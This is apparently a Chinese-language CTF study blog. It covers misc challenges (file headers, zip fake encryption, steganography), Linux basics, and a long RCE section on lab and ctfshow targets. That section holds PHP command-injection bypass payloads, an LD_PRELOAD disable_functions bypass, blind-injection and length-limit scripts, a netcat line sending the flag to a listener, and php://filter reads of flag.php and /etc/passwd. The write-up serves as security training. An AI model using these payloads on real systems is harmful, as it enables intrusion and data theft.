yzklov


  • Home

  • Archives

  • Tags

  • Search

misc

Posted on 2023-04-12

常见文件头

后缀 文件头 文件尾
PNG 89 50 4E 47 0D 0A 1A 0A AE 42 60 82
GIF 47 49 46 38 39 61 00 3B
JPEG FF D8 FF FF D9
zip 50 4B 03 04 50 4B
rar 52 61 72 21

伪加密

一个加密的压缩包,由三部分组成:压缩源文件数据区、压缩源文件目录区、压缩源文件目录结束标志

1、压缩源文件数据区
50 4B 03 04 压缩包的文件头标记 4bytes
14 00 解压文件所需的pkware版本 2bytes
09 00 全局方式位标记 2bytes (这里可以来判断有无加密,0奇数 00 加密,0偶数 00 无加密)

2、压缩源文件目录区(从第二个50 4B开始)
50 4B 01 02 目录中文件文件头标记 4bytes
1F 00 压缩使用的pkware 版本 2bytes
14 00 解压文件所需的pkware版本 2bytes
09 00 全局方式位标记 2bytes
(这里可以来判断有无加密,解决伪加密,0奇数 00 加密,0偶数 00 无加密)

3、压缩源文件目录结束标志
50 4B 05 06 目录结束标记 4bytes

压缩源文件数据区(50 4B 03 04起)和压缩源文件目录区(50 4B 01 02起)的全局方式位标记均为 0偶数 00,则是未加密
压缩源文件数据区(50 4B 03 04起)和压缩源文件目录区(50 4B 01 02起)的全局方式位标记均为 0奇数 00,则是真加密
压缩源文件数据区(50 4B 03 04起)的全局方式位标记为 0偶数 00,压缩源文件目录(50 4B 01 02起)的全局方式位标记为 0奇数 00,则是伪加密

一些思路总结

图片题
1、图片宽高
2、图片备注
3、010editor查看搜索flag、binwalk能否分离
4、隐写术,outguess、、、
压缩包
1、伪加密
2、能否binwalk
excel
1、在010editor中查找flag
2、binwalk
gif
1、stegsolve分析

ISCC 奇特的信息

使用subbreaker破解

1
subbreaker break --lang EN --text "内容"


注意:命令行输入粘贴的文本不可随便换行(相当于回车),可能会当成命令执行

buuctf

zip伪加密

打开压缩包,里面是

这题题目是伪加密,所以我们先来了解一下什么是伪加密

这题叫伪加密, 所以按伪加密来处理,将09 00 改为00 00(只要改为偶数即可)
解压得到flag.txt,直接打开即可
BUUCTF MISC zip伪加密

被嗅探的流量

先下载了一个wireshark
Wireshark零基础使用教程

被嗅探的流量.pcapng 默认是用Wireshark打开

寻找POST包:

http.request.method==POST

跟踪TCP流:

得到flag

镜子里面的世界

FLAG

  • linux系统下file命令用于查询文件类型
    平时我们判定一个文件的类型通常是通过该文件的扩展名,而file命令是通过详细阅读文件内容,找到特征量来判定文件类型

  • strings命令在对象文件或二进制文件中查找可打印的字符串

  • 对图片进行尝试,发现最低位隐写的时候是个zip文件:

    save bin保存为zip文件,但是文件被损坏
    进行修复后打开,是一个名为1的文件

    我们可以直接尝试使用Notepad++打开
    从开头可以看出是一个EIF文件

  • ELF:一种二进制文件格式

    可以直接找到flag

    也可以使用kali(linux系统就行)
    执行file ./1 和 strings ./1


    使用ubuntu18.04直接就./1

    不大理解
    或者直接使用IDA打开

    但是目前不会使用IDA

假如给我三天光明

下载文件,发现该文件里面包含一张图片和一个压缩包
双击压缩包无法直接打开

使用zip修复也不行
但是发现使用7-zip就可以了

但是需要密码
查看那张图片
通过16进制编辑器和StegSolve对该图片进行检查,发现并没有突破口
这时发现该图片下面有一行不明字符

这段神秘字符为一段盲文,上网对照一下就行
经过破译的该段盲文的密码为:kmdonowg
将该密码去解压文件中的压缩包,得到一个music.wav音频文件
打开该音频文件,发现该文件很像摩斯电码,将该音频文件在Audacity打开

通过该音频可以得到一个摩斯密码:

1
-.-./-/..-./.--/.--././../-----/---../--.../...--/..---/..--../..---/...--/-../--..
  • 解码后的值为:CTFWPEI08732?23DZ
    将CTF转为flag,其他大写变小写后,才能正确提交flag
  • 转换后的flag为:flag{wpei08732?23dz}

荷兰宽带数据泄露


.bin文件
使用RouterPassView打开文件
flag不是username就是password

面具下的flag

打开是一个图片

查看了图片hex,发现了pk(zip文件的开头)
使用binwalk+foremost

把文件保存到物理机打开
发现zip文件中的vmdk需要密码,爆破无效
考虑到可能是伪加密,09改成00

vmdk文件可以用7z解压:

  • 7z x flag.vmdk -o./
    解压出来的一堆东西里面有:

    打开后分别是Brainfuck编码和Ook!编码
    他们的形式都很显而易见
    得到的两个部分拼接起来就是flag

九连环

  • binwalk+伪加密+steghide对图片中的信息进行提取

[BJDCTF2020]你猜我是个啥

解压附件attachment.zip时提示该文件为非压缩文件,联想题目,应该不是压缩包,010打开,开头发现PNG
然后拉到结尾直接发现了flag

梅花香之苦寒来

这题打开是张图片,用010editor打开发现寻找png文件尾,发现文件尾后面还有很长的内容

左边是16进制形式的ascii,右边是对应的内容,这些内容看起来依然是ascii码,猜测是16进制转字符串,试一试发现对应的字符串是坐标,直接使用16进制转字符串的脚本,输出文件flag.txt,然后利用坐标绘制二维码脚本完成解题

谁赢了比赛?

zip加密,用工具解密后里面是gif文件,用stegsolve打开,使用frame browser查看帧,在310帧看到

save保存图片然后再用stegsolve打开,调整通道,发现一个二维码,扫描即可得到flag

[SWPU2019]我有一只马里奥

虽然是ntfs文件流隐写,但是binwalk已经帮我分离出来了

ntfs文件流隐写

[GXYCTF2019]gakki 1

分离出压缩包后破解密码拿到flag.txt,打开
是这样无规律的字符,这里用到字符统计

[SWPU2019]伟大的侦探1

得到一个压缩包,但是要密码,破解失败,看到有一个密码.txt,打开

1
2
压缩包密码:摂m墷m卪倕ⅲm仈Z
呜呜呜,我忘记了压缩包密码的编码了,大家帮我解一哈。

用010editor打开,并设置编辑方式->ebcdlc,发现密码wllm_is_the_best_team!
福尔摩斯小人密码

黑客帝国

将.txt文件中的16进制转字符串(或者直接用010editor打开)明显发现是rar文件

使用16进制转文件的脚本转成rar文件,破解密码后打开是一张格式不正确的图片,直接用010打开,发现文件头像是png但不是,文件尾是jpeg的,所以直接将文件头改成jpeg就可以成功打开

[HBNIS2018]低个头

键盘隐写,直接看键盘

[MRCTF2020]你能看懂音符吗

word显示隐藏文字

音符解密

aaencode编码

buuctf misc 我吃三明治

搜索jpg尾发现后面还有一串,是另一个jpeg文件头,说明这个图片是两张图片拼接而成的,在第一个图片尾和第二个图片头中间有一串base32编码就是flag

[SWPU2019]你有没有好好看网课?

提示flag3的密码是6位

linux

Posted on 2023-04-09

linux路径的描述方式

1
2
3
4
1、在linux系统中没有盘符的概念,只有一个根目录/(斜杠),所有的文件都在它下面
2、在linux系统中层次关系使用/来表示,Windows使用\来表示
比如说/根目录下面的usr文件夹下的local文件夹中的hello.txt表示路径为/usr/local/hello.txt,第一个反斜杠表示根目录,后面的/表示层级关系
3、

linux命令基础

什么是命令、命令行

学习linux,本质上是学习在命令行下熟练的使用linux的各项命令

1
2
命令行:即linux终端,是一种命令提示符页面。以纯字符的形式操作系统,可以使用各种字符化命令对系统发出操作指令。
命令:即linux程序。一个命令就是一个linux的程序。命令没有图形化界面,可以在命令行提供字符化的反馈

linux命令的通用格式

1
2
3
4
5
command [-options] [parameter] 
commmand:命令本身 -options:[可选,非必填]命令的一些选项,控制命令的一些行为细节
parameter:[可选,非必填]命令的参数,多数用于命令的指向目标等 语法中[]表示可选
实例:ls -l /home/itheima,ls是命令本身,-l是选项,/home/itheima是参数
意思是以列表的形式,显示/home/itheima目录内的内容

ls命令入门

ls命令的作用是列出目录下的内容,语法细节如下:

1
2
3
4
5
6
ls [-a -l -h] [linux路径]
当不使用选项和参数,直接使用ls命令本体,表示:以平铺形式,列出当前工作目录下的内容
当前工作目录:linux系统的命令行终端,在启动时默认加载:
1、当前登录用户的HOME目录作为当前工作目录,所以ls命令列出的时HOME目录的内容
HOME目录:每个linux用户在linux操作系统的个人账户目录,路径:/home/用户名

ls命令的参数和选项

参数:指定一个linux路径,列出此路径下的内容
选项:

1
2
3
-a:表示all的意思,即列出全部文件(包含隐藏文件/文件夹)
-l:表示以列表的形式展示内容,并展示更多信息
-h:需要和-l选项搭配使用,可以在列表中文件大小一栏显示单位


1、图中以.开头的,表示linux系统的隐藏文件/文件夹(只要以.开头,就能自动隐藏)
2、只有通过-a选项,才能看到这些隐藏文件/文件夹
注意:选项可以组合使用,如-la、-al、-l -a都是一样的

cd 切换工作目录

当Linux终端打开的时候,会默认以用户的HOME目录作为当前的工作目录
cd(change directory)

1
2
3
语法:cd[linux路径]
cd无需选项,只有参数,表示要切换到哪个目录下
cd命令直接执行,不写参数,表示回到用户的HOME目录

pwd

查看当前工作目录

相对路径和绝对路径

1
2
绝对路径:以根目录为起点,描述路径的一种写法,路径描述以/开头
相对路径: 以当前目录为起点,描述路径的一种写法,路径描述无需以/开头

特殊路径符

1
2
3
. 表示当前目录,比如cd./desktop表示切换到当前目录下的desktop目录内,和cd desktop效果一样
..表示上一级目录,比如:cd ..退回上一级 cd ../.. 退回上两级
~ 表示HOME目录 cd ~ <=>cd

eg:在当前目录的上级目录有一个test文件夹,文件夹内有一个文件hello.txt
相对路径为:../test/hello.txt

mkdir命令

通过mkdir命令可以创建新的目录(文件夹)
mkdir(make directory)

1
2
3
语法:mkdir [-p] linux路径
参数必填,表示创建文件夹的路径,相对路径和绝对路径均可
-p选项可选,表示自动创建不存在的父目录,适用于创建连续多层级的目录

eg:mkdir -p itcast/good/666 创建了三层级文件夹
注意:创建文件夹需要修改权限,请确保均在HOME目录内,不要在HOME目录外操作
涉及到权限问题,HOME外无法成功

touch 创建文件

1
2
touch linux路径
参数表示创建的文件路径,记得写要创建的文件后缀

cat和more命令

两者都是查看文件命令,但more支持翻页,使用空格翻页,使用q退出
语法:more/cat linux路径

cp复制文件/文件夹

cp命令来自英文copy

1
2
3
4
语法:cp [-r] 参数1 参数2
-r选项,可选,用于复制文件夹使用,表示递归
参数1,linux路径,表示被复制的文件或文件夹
参数2,linux路径,表示要复制去的地方

mv移动文件或文件夹

1
2
语法:mv 参数1 参数2
1表示要移动的,2表示移动到的地方,如果目标不存在则进行改名,确保目标存在

eg:mv test1.txt test2.txt 改名

rm删除文件、文件夹

rm(remove)

1
2
3
4
语法:rm [-r -f] 参数1 参数2 ...
-r适用于删除文件夹
-f表示force,强制删除(不会弹出确认信息)
参数表示要删除的文件或文件夹路径,用空格隔开

Vim编辑器

linux下常用的文本编辑器有Vim、gVim、gedit
在终端输入vim启动

Vim有三种工作模式

  • 普通模式:默认进入是普通模式,可以在冒号后面输入命令,如:wp,保存并退出
  • 插入模式:在普通模式下,按i或者a进入,可以编辑文本内容
  • 可视模式:在普通模式下按v进入,按ESC退出

保存与打开文件
保存文件的命令是:w,打开文件的命令是:r
比如写入这样一段话:

1
2
good moring everyone !
I am learning vim !

编辑完按ESC退回普通模式,这时输入下面的命令,将文件保存到/home/linux/文件夹下,命名为vim1.txt

:w /home/linux/vim1.txt

Vim会显示下面的提示信息:
“~/vim1.txt” [新] 3L ,48C已写入
表示新建了文件vim1.txt,文件有3行,48个字符
如果再次以同样的名字保存文件会提示:
E13:File exists (add ! to override)
这时我们可以在w后面加!来覆盖以前的文件:

:w! /home/linux/vim1.txt

按ESC退回,输入:wq命令退出(:q!可以在不保存的情况下退出)
查看文件命令:

:-r /home/linux/vim1.txt

也可以直接在终端输入:

/home/linux/vim1.txt

回退
.(英文):重复上一次修改
u:取消上一次修改
U:将当前行回复到修改前的状态
U命令会一次撤销对一行的全部操作,第二次使用U会撤销前一个U命令的操作,u或.同理
以上是Vim的一些基础操作

关于shell

shell有多种版本,我们常见到的版本是bash
命令通配符

  • :匹配任何字符和字符串,包括空字符串
    ?:匹配任意一个字符。比如?abc。可以匹配任何以abc结尾,以任意字符开头的4个字符
    []:匹配括号里的任意单字符。比如abc[def],可以匹配以abc开头以def中任意一个字符结尾的字符串

shell程序的基本结构

1
2
3
#! /bin/bash
#hello
echo 'hello Linux'

1、所有的shell程序第一行都是以#!开头,后面跟执行shell程序的shell解释器目录与名称。系统默认的shell解释器是bash
2、程序的第二行以注释的形式写出程序的名称
3、只有添加了可执行权限后才可以执行
chmod +x 文件名
如果将文件保存在用户主目录下,只需要在终端输入./文件名,就可以运行
运行结果: hello Linux

变量
在shell程序中的变量分为局部变量、环境变量、位置变量

局部变量
Shell语言是解释型语言,不用事先声明变量,一对变量赋值就等于定义了变量。局部变量是指只在当前程序中有效
shell变量是无类型的,可以存放不同类型的数据,访问变量只需要在变量前面加$
ps:对没有空格的字符串赋值可以不用引号,但如果有空格也没加引号就会报错

环境变量
环境变量是在一个用户的所有进程中都可以访问的变量。在系统中常常使用环境变量来存储常用的信息

位置变量
位置变量是指shell程序在运行时传入的参数,在程序中可以以变量的形式来调用。这些参数被存放在1~9个变量名中,与普通变量一样在变量前加$来访问。

在位置变量中,$0的值为bash;$1开是输入参数
比如:

1
2
3
4
#! /bin/bash
#3.sh
echo $1;
echo $2;

那么在保存和添加执行权限后在终端输入

./3.sh hello linux

运行结果是:
hello
linux

反引号
反引号用于执行引号中的系统命令,然后将命令的执行结果返回

1
2
A=`ls`
结果:01.c 02.c 1.sh 2.sh

字符串中不能直接使用$、单引号、双引号、反斜线、反引号等特殊字符,需要\转义

多命令执行

; 顺次执行命令
| 前一个命令执行结果的标准输出传递给后面进行执行,即作为后面命令的标准输入
|| 如果1执行成功则不执行2;如果1失败则执行2
&& 1成功则继续执行2;1不成功则不执行2

这也就解释了为什么grep前面要加|

Linux文件系统

Linux文件系统的组织方式
Linux文件系统的组织方式称为文件系统分层标准(FHS),即采用层次式的树状目录结构

目录名称 说明
/ Linux文件系统的最上层根目录,其他所有目录均是该目录的子目录
/bin Binary的缩写,存放用户的可执行程序,如cp和mv等:也存放Shell,如bash和csh
/boot 操作系统启动时所需的文件,包括vmlinuz和initrd.img等。若这些文件损坏,则会导致系统无法正常启动,因此最好不要任意改动
/dev 设备文件目录,例如/dev/sda 表示第一块sCsI设备,/dev/hda 表示第一块IDE设备
/etc 有关系统设置与管理的文件,包括密码、守护程序及与X-Window 相关的配置。可以通过编辑器(如Vi、gedit 等)打开并编辑相关的配置文件
/etc/X11 X-Window System的配置目录
/home 普通用户的主目录或FTP站点目录,一般存放在/home 目录下
/lib 存放共享函数库(Library)
/mnt 文件系统挂载点(Mount),例如光盘的挂载点可以是/mnt/cdrom,软盘的挂载点可以是/mnt/floppy,Zip驱动器为/mnt/zip
/opt 该目录通常提供给较大型的第三方应用程序使用,如Sun Sarfice. Corel WordPerfect,可避免将文件分散至整个文件系统
/proc 保存目前系统内核与程序执行的相关信息,和利用ps命令看到的内容相同。例如,/proc/interruptsp文件保存了当前分配的中断请求端口号,/proc/cpuinfo保存了当前处理器信息
/root 根用户的主目录
/sbin System Binary的缩写。此目录存放的是系统启动时所需执行的系统程序
/tmp Temporary的缩写,用来存放临时文件的目录
usr 存放用户使用的系统命令和应用程序
/usr/bin 存放用户可执行的程序,如Openffice的可执行程序
/usr/doc 存放各种文档的目录
/usr/include 存放C语言用到的头文件
/usr/include/X11 存放x-Window程序使用的头文件
/usr/info 存放GNU文档的目录

Linux文件和目录常用通配符

通配符 说明
* 用来代表文件中任意长度的任意字符
? 用来代表文件中的任意一个字符
[…] 匹配任意一个在中括号中的字符,中括号中可以是个用破折号格式表示的字母或数字范围
前导字符串{…}后继字符串 大括号中的字符串逐一匹配前导字符串和后继字符串

[]{}中的字符用,隔开
着重介绍一下{}

1
2
#ls -l c{ar,an,at}s
列出car、cans、cats

文件内容查询命令——grep

该命令在文件中搜索指定的字符串模式,列出含有匹配模式字符串的文件名和输出含有该字符串的文本行
命令格式:

grep [选项] [查找模式] [文件名]
-F:将查找模式看作单纯的字符串
-i:要查找的字符串不区分字母的大小写
-r:以递归方式查询目录下的所有子目录的文件
-n:标出包含指定字符串的行编号

另外:grep可以直接处理一些命令(如ls、ps)的输出,比如在当前运行的进程中查找vi程序的进程信息:

#ps aux | grep vi

RCE

Posted on 2023-04-09

简介

利用RCE漏洞,有两种执行方式,向后台服务器远程注入操作系统命令(即远程命令执行RemoteCommand Exec)或者远程代码执行(Remote Code Exec),顾名思义就是远程执行,通过上述的远程注入后,从而执行系统命令,进而控制后台系统。

可能存在代码执行漏洞的函数

1
2
3
eval() 把字符串当作 PHP 代码来执行,必须以分号结尾
assert()断言函数 在RCE漏洞里的作用和eval相当且不需要加分号

命令执行漏洞

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

前提条件

1.开发人员调用了能够执行系统命令的函数
2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严

执行系统命令的函数

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()、反引号

需要关注的点:函数有没有回显、需要什么参数
1、system()
提交命令->回显
2、exec()
exec ( string $command [, array &$output [, int &$return_var ]] );
如果只提供command参数只会返回最后一行,添加output参数(使用一个变量接收),内容就会填充此数组,后使用print_r或var_dump函数输出变量
windows环境使用dir参看当前目录文件

1
2
3
4
5
<?php
$cmd = 'dir';
exec($cmd,$dazhuang);
var_dump($dazhuang);
?>


ps:exec函数需要使用输出函数输出
3、passthru()
passthru(string $command…)
可以直接回显,输入指令即可,和system相似
4、shell_exec()
shell_exec(string $cmd),cmd:要执行的命令
使用echo、print输出结果,返回结果是字符串的形式

1
2
3
<?php
echo shell_exec('dir');
?>


效果和反引号一样

1
2
3
4
<?php
$cmd='dir';
echo `$cmd`;
?>

5、popen()
popen(string $command,string $mode)
mode:模式,’r’表示阅读,’w’表示写入
在r模式下,先fgets获取内容,然后print_r输出内容
相当于把命令执行的结果当作一个临时文档(进程),要选择写入或者读取

1
2
3
4
5
<?php
$s = popen('dir','r');
$b =fgets($s);
print_r($b);
?>

6、proc_open()比较麻烦,默认没有回显

7、pcntl_exec()

pcntl_ exec(string $path, array $args= ?, array $envs= ?)

path:必须是可执行二进制文件路径,args:是一个要传递给程序的参数字符串数组

LD_PRELOAD绕过

使用场景:disable_ _functions禁用所有可能用到命令执行的函数

动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接

LD_PRELOAD可以修改库文件,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

mail(常用):内嵌在php中,imagick:需要扩展安装

image-20231004152802121

image-20231004153347989

mail函数在调用sendmail后会再调用动态链接库,而LD_PRELOAD规定优先调用的动态链接库,putenv函数可以修改LD_PRELOAD

image-20231004153844400

所以我们需要上传的是demo.so(geteuid函数重定义)和demo.php

image-20231004155324153

image-20231004155404504

反弹shell不太懂,先等等

但是使用蚁剑自带的插件就能绕过disable_functions

image-20231004162921283

image-20231004165232234

linux连接符

1
2
3
4
5
| 把前面命令的输出结果当成后面命令的参数,只显示后面命令执行结果
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行后面的命令
; 顺序执行,前面指令出错不影响后面的指令执行

/bin/bash -c ls和echo "ls" | /bin/bash效果一样

/bin/bash:这部分指定了要使用的 shell,指定了要使用 Bash shell。-c:用于告诉 Bash shell 后面的参数是要执行的命令,linux中的shell:bash、sh、dash等等

linux绕过

? *替代一些被过滤的关键字,让系统自动匹配

空格绕过

  • {cat,/flag}

  • $IFS //$IFS在linux下表示内部字段分隔符

  • ${IFS}

  • $IFS$9

  • <

  • <>

  • %20 (space)

  • %0a(换行)

  • %09 (tab)

  • linux命令中可以加\,所以甚至可以ca\t /fl\ag

读取文件绕过

1
2
3
4
5
6
7
8
9
10
11
tac:反向显示  
less/more:一页一页显示文件内容,敲空格显示下一页
tail:查看末尾几行,默认最后10行
nl:显示的时候,顺便标注行号
od:以二进制的方式读取文件内容 //显示是以16进制
xxd:读取二进制文件
sort:主要用于排序文件
uniq:报告或删除文件中重复的行
file -f:报错出具体内容
grep:在文本中查找某些字符串
rev:反转文件中的每一行

image-20231004172311642

od -A d -c flag.php

image-20231004172346355

xxd test.php

image-20231004172724167

/usr/bin/sort test.php 等效于 sort test.php,也可以/usr/bin/s?rt test.php,使用?自动匹配,可以在sort被过滤的时候尝试 。/usr/bin:存放用户可执行的程序

image-20231004174514182

file -f test.php

image-20231004174931318

grep fl test.php

image-20231004175411925

image-20231004175606270

编码绕过

绕过原理:命令编码后上传到服务器,绕过过滤限制,服务器解码读取命令并执行

绕过方法:base64、32、HEX编码(ascii)、shellcode(16进制的机器码)

/bin/bash、bash、sh、反引号、$()都可以实现

echo Y2F0IHRlc3QucGhw | base64 -d | /bin/bash

$(echo Y2F0IHRlc3QucGhw | base64 -d)

1
`echo Y2F0IHRlc3QucGhw | base64 -d`

image-20231004181151061

echo "74616320746573742e706870" | xxd -r -p | bash

xxd -r -p将16进制反向输出打印为ascii格式

image-20231004182710990

但是xxd是个工具,不是所有的服务器都装有,这种情况下可以使用shellcode编码绕过

printf "\x63\x61\x74\x20\x74\x65\x73\x74\x2e\x70\x68\x70" | bash也可以试一下echo,可能在目标服务器无法执行,shellcode编码可以被服务器识别
在遇到post中空格被过滤可以使用\x09,换行\x0a(攻防世界 unseping)

无回显时间盲注

页面无法shel反弹或者无法回显,或者没有写入权限,可尝试命令盲注,根据返回的时间来进行判断

1
if [ $(cat ./test.php | awk NR==1 | cut -c 1) == h  ];then sleep 2;fi

awk NR==1获取第一行,cut -c 获取单个字符,if为真则执行then,否则执行fi结束。特殊字符要\转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time
url = "http://192.168.1.6:18000/class08/1.php"
result = ""
for i in range(1,5):
for j in range(1,55):
for k in range(32,128):
k = chr(k)
time.sleep(0.1)
payload = "?cmd=" + f"if [ `ls | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload,timeout=(1.5,1.5))
except:
result = result + k
print(result)
break

长度过滤绕过

>创建文件并写入或者覆盖文件原本的内容 ,>b直接创建文件
>>追加内容
在没有写完的命令后面加\,可以将一条命令写在多行
image-20231005152101653

ls -t按修改时间排序,最新优先

1
2
3
4
5
6
>ag
>l \\
>f \\
>cat\ \\
ls -t >x
.x(sh x) //执行了cat flag

\\把后面的\转义成普通字符
dir:按列输出,不换行;d字符靠前
*相当于$(dir *):将第一个文件名作为命令,把后续的文件名作为参数,输出执行结果。ls会换行,不行

长度过滤为7绕过

image-20231006190337511

exec函数需要输出函数,这里没有,采用nc反弹,cat flag|nc 192.168.1.161:7777(cat展示内容,通过nc反弹,提交到192.168.1.161,注意管道输出符),然后kali上输入指令nc -lvp 7777来监听端口

利用过程

步骤一:倒序写入,创建文件

image-20231006191837124

\将空格实体化成字符,注意空格构造,不能输入重复指令,因为文件名不能重复,所以这里采用单独构造空格,c\ \\,t\ \\这样灵活构造,但是在长度过滤为5中空格只能单独构造
步骤二: 将文件名按顺序写入到文件ls -t >a
步骤三:执行脚本sh a

image-20231006192722087

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#encodeing:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/index.php?cmd="
s = requests.session()

list=[
'>7777'
'\ \\'
...
'>ca\\'
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl + str(i)
s.get(url)
s.get(baseurl+"sh a")

记得打开kali监听

长度限制为5绕过

内联执行绕过

//假设该目录有index.php和flag.php

  • cat `ls`相当于执行了 cat index.php;cat flag.php
  • cat $(ls) 和上面一个意思
    //可以查看该目录及子目录和隐藏目录所有文件
    find –

ctfshow中学到的新姿势

1、当;被过滤的时候要使用eval函数,由于后面;可以用?>结尾,php代码的最后一个语句可以不用;

2、当flag或者读取文件被过滤时,可以试试mv、cp

1
2
?c=system("cp fla?.php 1.txt");
?c=system("mv fla?.php 1.txt");

cp:复制文件
mv:移动文件,在同一个目录内对文件进行剪切的操作,实际应理解成重命名操作
然后访问1.txt即可

image-20231103171911467

3、当使用file_get_contents()函数需要输出

1
?c=echo file_get_contents("1.txt");

4、注意题目中是eval的时候一定要在代码后面加上`。反引号和system=反引号+echo

WEB31

image-20231103205530367

方法一:经典参数逃逸

1
?c=eval($_GET[1]);&1=system('tac flag.php');

方法二:直接绕过

1
?c=echo%09`tac%09fl*`;  

方法三:构造无参数

localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。

1
?c=print_r(scandir(pos(localeconv()))); 

可以看到当前目录下有flag.php。

image-20231103210617480

通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后

1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20231103210652828

web32

image-20231103203049540

过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
flag
system
php
cat
sort
shell
.

'
`
echo
;
(

并且是区分大小写的

如果要使用下面这个payload,势必要绕过(过滤,暂时不会

1
?c=eval($_GET[1]);&1=system("ls");

代码解释:第一个分号是因为外层还有一个eval,第二个分号是内层的eval

所以我们考虑其他方法。同样是传参嵌套在,这里使用的是include+伪协议读取。注意;被过滤了

1
?c=include%0a$_GET[1]?>&1=/etc/passwd

image-20231103203841690

为什么要测试这个地址的文件读取呢

因为Linux系统中的 /etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作,测试了是否可以进行文件包含

1
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include后面的%0a可以不用,这里的include如果被过滤也要想到使用require、require_once、include_once来替代

拿到flag

ps:为什么$_GET['1']可以写成$_GET[1],因为php可以向下兼容

web37

image-20231103235954752

1
?c=data://text/plain,<?php system("mv fla?.php 1.txt"); ?>

看到文件包含就要想到伪协议

如果php被过滤可以使用短标签,但是有时候短标签没有开

1
?c=data://text/plain,<?= system("mv fla?.??? 1.txt"); ?>

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

include后面虽然拼接了.php,但不影响前面<?php phpinfo();?>执行,这是文件包含的特性了

image-20231104001130588

1
?c=data://text/plain,<?php phpinfo();?>

web40

这题过滤了括号,但是是中文的括号,注意辨别,所以不影响解题

可以使用上面无参rce的经典payload,下面是ctfshow博主的题解,比较巧妙,可以学习

1
?c=print_r(get_defined_vars());   //var_dump

image-20231104001910198

也可以右键源代码更加直观

image-20231112230337261

get_defined_vars()是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中

1
post传参:1=phpinfo();

image-20231104002343239

我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。

1
?c=print(array_pop((next((get_defined_vars())))));

image-20231104003019833

我们这里也是直接将post传参改成我们需要的了

image-20231104003059244

直接配合嵌套eval函数

逻辑是内层eval执行返回system("cat flag.php");,然后外层eval执行

1
?c=eval(array_pop((next((get_defined_vars())))));

image-20231104003153294

web41

方法一:通过脚本自动化实现

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
1
2
3
过滤了数字和字母,以及 $、+、-、^、~ 
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |

yu师傅的异或脚本

CTFshow wbe41 教你写脚本

大体上就是通过没有被过滤的可见或者不可见字符的url编码进行异或生成我们需要的被过滤字符,从而构造payload

方法二:手工构造

以上相当于使用 python 自动化脚本。当然也可以用上述得到的 txt 可用字符手动构造。rce_or.php会产生一个rce_or.txt文件,里面是可用的url组合。这里象征性地展示一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  %00 %20
! %00 %21
" %00 %22
# %00 %23
% %00 %25
' %00 %27
( %00 %28
) %00 %29
* %00 %2a
, %00 %2c
. %00 %2e
/ %00 %2f
: %00 %3a
; %00 %3b
< %00 %3c
= %00 %3d
> %00 %3e
? %00 %3f
@ %00 %40
\ %00 %5c
_ %00 %5f
` %00 %60
| %00 %7c
! %01 %20
! %01 %21
# %01 %22
# %01 %23
% %01 %25
' %01 %27
) %01 %28
) %01 %29

原理:

1
2
3
4
5
system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
1
2
3
4
5
6
7
<?php
$c='(phpinfo)()';
echo($c);
?>
输出:(phpinfo)()
传入:eval("echo($c);");
=>eval("(phpinfo)();");

所以可以直接构造

1
2
3
4
如构造一个 (system)('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s %19|%60=y %14|%60=t

构造(system)(cat flag.php)

1
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

用bp改包,hackbar试过了不行,不知道为什么

image-20231104130201014

web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
>/dev/null:
说明一下 /dev/null 说白了就是写入这个里面的内容都会丢失,读取这里面的内容什么也不会读取到
而前面的 > 表示重定向代表的是要去哪里
因为 > 前面没有数值,所以默认的是1,表示标准输出重定向到 /dev/null (空设备文件)
因此不会显示任何的数据,同时也不会读取到任何的数据

2>&1:
